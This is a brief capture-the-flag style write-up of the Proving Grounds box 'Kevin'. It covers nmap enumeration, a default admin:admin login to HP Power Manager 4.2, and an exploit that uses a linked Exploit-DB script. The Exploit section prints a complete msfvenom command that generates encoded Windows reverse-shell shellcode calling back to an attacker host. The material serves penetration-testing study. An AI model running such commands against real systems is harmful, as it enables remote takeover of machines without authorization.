---
description: Writeup for Kevin from offsec Proving Grounds
---

# Kevin

## Information Gathering

`sudo ./nmapAutomator.sh 192.168.218.45 all`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FOnD63h3e3DuvApvdApXm%2Fimage.png?alt=media\&token=2ed1dd6a-62df-4358-ace7-48559e05cda1)

### Service Enumeration

### HTTP (Port 80)

HP Power Manager. We are easily authenticated using `admin:admin`.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FFRsMySlrowmHDG077OOg%2Fimage.png?alt=media\&token=793e0bd1-7a19-402f-b1e1-405594c41e18)

We can see here that this is running HP Power Manager 4.2

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FEjx9hG0StvGJwIWdmUbv%2Fimage.png?alt=media\&token=a4ed0243-b310-4005-b4ba-902fe9155857)

### \*\*\* **Take note: The target IP above and below may differ as I finished this box on another day. \*\*\***

## Exploit

There is an exploit for this.

{% embed url="https://www.exploit-db.com/exploits/10099" %}

Generating shellcode: `msfvenom -p windows/shell_reverse_tcp -b "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" LHOST=192.168.49.70 LPORT=80 -e x86/alpha_mixed -f c`

We then replace the shellcode in the script with our generated shellcode and run the exploit.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FieCRvbmyDhiqI97lGGsS%2Fimage.png?alt=media\&token=61aa664e-4e42-4d0e-9bdd-2a42c4c8e3fa)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FRUPbaXTCBla2MG2k1Y2w%2Fimage.png?alt=media\&token=5b204c56-b649-4f17-9064-1e94baba0119)
